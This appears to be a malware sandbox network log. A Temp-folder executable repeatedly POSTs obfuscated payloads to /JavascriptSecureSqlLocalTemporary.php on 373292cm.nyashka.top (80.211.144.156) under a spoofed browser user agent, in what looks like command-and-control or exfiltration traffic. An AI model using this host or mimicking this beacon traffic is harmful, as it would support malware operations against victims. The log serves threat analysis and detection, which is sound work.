Aug 26, 2024 20:17:09.558331013 CEST	2576	OUT	Data Raw: 5f 5c 59 53 51 47 51 5a 5b 5f 5a 51 59 54 58 5e 57 5e 5d 5a 57 5a 53 54 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _\YSQGQZ[_ZQYTX^W^]ZWZSTYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.X;3<6X"3%*=,_?.]<;X7/,!!(#!/>&F$.Y/)
Aug 26, 2024 20:17:09.602402925 CEST	1236	OUT	Data Raw: 36 3a 16 36 3b 05 1f 03 04 39 1c 52 2b 2e 0d 19 15 00 24 19 36 3a 3d 2c 00 07 3a 5a 34 54 31 26 37 5f 34 20 39 30 05 29 34 2c 03 10 34 3f 1a 03 36 5c 5f 2f 3a 3d 3d 2b 39 21 18 1e 3d 03 19 22 26 33 45 15 3b 08 1c 0c 26 01 0f 59 31 59 59 2b 0d 24 Data Ascii: 6:6;9R+.$6:=,:Z4T1&7_4 90)4,4?6\_/:==+9!="&3E;&Y1YY+$&685?$=;2X9&<(^?>U, ,1#<5!:01/[? 1:?1;<62=;Y :W(3_458,(ZB?X?<'.=#[:;\2;3#0-5@=]?8YT %1W02&9;<3R;;6=)'?<Y7!8
Aug 26, 2024 20:17:09.914922953 CEST	1236	OUT	Data Raw: 5f 5c 59 53 51 47 51 5a 5b 5f 5a 51 59 54 58 5e 57 5e 5d 5a 57 5a 53 54 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _\YSQGQZ[_ZQYTX^W^]ZWZSTYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.X;3<6X"3%*=,_?.]<;X7/,!!(#!/>&F$.Y/)
Aug 26, 2024 20:17:10.524291039 CEST	1236	OUT	Data Raw: 5f 5c 59 53 51 47 51 5a 5b 5f 5a 51 59 54 58 5e 57 5e 5d 5a 57 5a 53 54 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _\YSQGQZ[_ZQYTX^W^]ZWZSTYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.X;3<6X"3%*=,_?.]<;X7/,!!(#!/>&F$.Y/)
Aug 26, 2024 20:17:10.688852072 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:10.688945055 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:10.689254045 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:10.923444986 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:10.929214001 CEST	1340	OUT	Data Raw: 3b 12 0a 30 37 57 59 56 04 01 02 34 39 0a 00 05 2c 5d 03 00 32 5e 01 27 33 07 37 19 3f 55 08 3e 27 21 02 1f 3d 29 24 24 31 22 3f 2c 3a 08 0b 0e 31 40 2d 1b 31 05 28 19 08 20 21 3f 2b 31 02 06 31 59 0b 5f 39 3b 1c 2b 32 5b 20 13 3a 38 08 25 37 5a Data Ascii: ;07WYV49,]2^'37?U>'!=)$$1"?,:1@-1( !?+11Y_9;+2[ :8%7Z=>0>5U$3<#%[<>6:6;9R+.$6:=,:Z4T1&7_4 90)4,4?6\_/:==+9!="&3E;&Y1YY+$&685?$=;2X9&<(^?>U, ,1#<5!:01/[? 1:
Aug 26, 2024 20:17:11.374286890 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49782	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:11.505227089 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:17:11.852607012 CEST	2576	OUT	Data Raw: 5f 5c 5c 5f 51 40 51 5a 5b 5f 5a 51 59 54 58 54 57 58 5d 5d 57 5f 53 58 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _\\_Q@QZ[_ZQYTXTWX]]W_SXYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.Y; #"3 =X<.<'Y 34;<$#&/>&F$.Y/)
Aug 26, 2024 20:17:12.488671064 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:12.489090919 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[
Aug 26, 2024 20:17:12.489103079 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49783	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:12.621382952 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:17:12.977691889 CEST	2576	OUT	Data Raw: 5f 5c 59 54 51 44 51 5e 5b 5f 5a 51 59 54 58 53 57 59 5d 5a 57 58 53 58 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _\YTQDQ^[_ZQYTXSWY]ZWXSXYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^._;#">8 6*<.(>47?# "$W<_']7 2;.&F$.Y/)
Aug 26, 2024 20:17:13.324666023 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:13.456343889 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49784	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:15.015746117 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:15.368192911 CEST	2576	OUT	Data Raw: 5f 5c 5c 56 54 41 54 58 5b 5f 5a 51 59 55 58 5f 57 5c 5d 52 57 5a 53 5d 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _\\VTATX[_ZQYUX_W\]RWZS]YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^._,#+E534V&+=$Y+%^+-47,3 <S+)+_70];.&F$.Y/-
Aug 26, 2024 20:17:15.702492952 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:15.847645044 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49785	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:15.992826939 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:16.338409901 CEST	2576	OUT	Data Raw: 5f 57 5c 53 54 40 54 50 5b 5f 5a 51 59 5e 58 5f 57 59 5d 5b 57 5f 53 55 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _W\ST@TP[_ZQY^X_WY][W_SUYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.\/$!-# ))(X<%).8 ,,48S(*876.>&F$.Y/
Aug 26, 2024 20:17:16.667257071 CEST	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49786	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:16.664874077 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2060 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:17.107074976 CEST	2060	OUT	Data Raw: 5f 55 59 53 51 44 54 5b 5b 5f 5a 51 59 51 58 52 57 58 5d 5b 57 59 53 59 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _UYSQDT[[_ZQYQXRWX][WYSYYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-8U<!- 7#)).#<X5?>+4/ W W?:;X 0X,.&F$.Y/=
Aug 26, 2024 20:17:17.351210117 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:17.482300997 CEST	308	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 25 0c 29 1c 2e 5a 26 3b 0a 50 25 20 3d 0b 2a 13 09 5f 3d 03 25 15 24 3b 26 04 32 2e 3b 0f 24 05 29 12 3c 3e 00 56 24 3c 3f 59 3a 34 2b 5d 0c 13 22 5f 23 3a 31 00 26 3c 2f 01 29 28 2f 15 22 05 36 5b 2b 14 22 0a 28 3f 30 58 3e 39 23 58 3f 39 3e 55 2c 3b 21 15 39 0e 32 1e 20 14 2b 52 0d 11 24 1e 2b 13 29 1e 3d 00 30 05 21 2b 3f 5a 30 3e 26 57 32 32 39 0c 27 29 38 10 25 32 21 56 27 0f 3d 1d 25 5d 2d 06 32 3c 21 1d 23 22 23 54 2c 00 22 57 01 33 55 56 Data Ascii: %).Z&;P% =*_=%$;&2.;$)<>V$<?Y:4+]"_#:1&</)(/"6[+"(?0X>9#X?9>U,;!92 +R$+)=0!+?Z0>&W229')8%2!V'=%]-2<!#"#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49787	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:16.831568003 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:17.208566904 CEST	2576	OUT	Data Raw: 5f 56 59 53 54 43 54 5d 5b 5f 5a 51 59 53 58 52 57 51 5d 58 57 51 53 5c 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _VYSTCT][_ZQYSXRWQ]XWQS\YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-/ ?!7##6#(>]+=? <428V:$ %/.&F$.Y/5
Aug 26, 2024 20:17:17.504158020 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:17.874667883 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[
Aug 26, 2024 20:17:17.911681890 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49788	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:18.162555933 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:17:18.508914948 CEST	2576	OUT	Data Raw: 5f 56 5c 53 51 44 54 50 5b 5f 5a 51 59 56 58 53 57 50 5d 59 57 58 53 5d 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _V\SQDTP[_ZQYVXSWP]YWXS]YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^..#?! 43"=?>.*<=+Z#Z07,R+07 )\8>&F$.Y/!
Aug 26, 2024 20:17:18.860465050 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:19.079174995 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49789	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:19.233638048 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:17:19.587129116 CEST	2576	OUT	Data Raw: 5a 50 5c 54 54 42 51 59 5b 5f 5a 51 59 53 58 52 57 5b 5d 53 57 5a 53 54 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZP\TTBQY[_ZQYSXRW[]SWZSTYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-/0">("#!=/?.-^+ Z3P7+)##0"/.&F$.Y/5
Aug 26, 2024 20:17:19.929886103 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:20.129633904 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49790	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:20.262352943 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:17:20.618170023 CEST	2576	OUT	Data Raw: 5f 5d 5c 5f 51 45 54 5a 5b 5f 5a 51 59 54 58 54 57 5c 5d 5a 57 5d 53 55 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _]\_QETZ[_ZQYTXTW\]ZW]SUYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^./##!=Y Z>4+.5?;]4Z(#;?*<#39X;>&F$.Y/)
Aug 26, 2024 20:17:20.936378956 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:21.132572889 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49791	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:21.261370897 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:21.618417025 CEST	2576	OUT	Data Raw: 5f 52 5c 51 51 40 51 5d 5b 5f 5a 51 59 50 58 53 57 5d 5d 5b 57 5f 53 5d 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _R\QQ@Q][_ZQYPXSW]][W_S]YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.X8#E">+" 9+>?<=_)='"<+P4" +9;\ #=\8&F$.Y/
Aug 26, 2024 20:17:21.664947033 CEST	1236	OUT	Data Raw: 36 3a 16 36 3b 05 1f 03 04 39 1c 52 2b 2e 0d 19 15 00 24 19 36 3a 3d 2c 00 07 3a 5a 34 54 31 26 37 5f 34 20 39 30 05 29 34 2c 03 10 34 3f 1a 03 36 5c 5f 2f 3a 3d 3d 2b 39 21 18 1e 3d 03 19 22 26 33 45 15 3b 08 1c 0c 26 01 0f 59 31 59 59 2b 0d 24 Data Ascii: 6:6;9R+.$6:=,:Z4T1&7_4 90)4,4?6\_/:==+9!="&3E;&Y1YY+$&685?$=;2X9&<(^?>U, ,1#<5!:01/[? 1:?1;<62=;Y :W(3_458,(ZB?X?<'.=#[:;\2;3#0-5@=]?8YT %1W02&9;<3R;;6=)'?<Y7!8
Aug 26, 2024 20:17:21.944935083 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:22.118376970 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49792	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:22.355982065 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49793	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:22.499589920 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2060 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:22.852513075 CEST	2060	OUT	Data Raw: 5a 55 5c 52 54 40 54 50 5b 5f 5a 51 59 50 58 53 57 50 5d 5e 57 58 53 5d 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZU\RT@TP[_ZQYPXSWP]^WXS]YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.;#+#-#7#%*<_<9+-#47!1+:7#3);.&F$.Y/
Aug 26, 2024 20:17:23.219971895 CEST	25	IN	HTTP/1.1 100 Continue
